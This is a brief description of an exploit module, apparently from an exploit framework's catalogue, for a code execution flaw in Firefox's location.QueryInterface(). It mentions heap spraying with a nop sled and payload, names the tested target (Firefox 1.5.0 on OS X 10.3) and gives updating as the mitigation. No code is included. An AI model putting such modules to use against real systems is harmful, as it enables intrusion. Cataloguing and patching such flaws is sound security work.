Firefox location.QueryInterface() Code Execution

This module exploits a code execution vulnerability in the Mozilla Firefox browser. To reliably exploit this vulnerability, we need to fill almost a gigabyte of memory with our nop sled and payload. This module has been tested on OS X 10.3 with the stock Firefox 1.5.0 package.

Mitigation:

Update to the latest version of Firefox
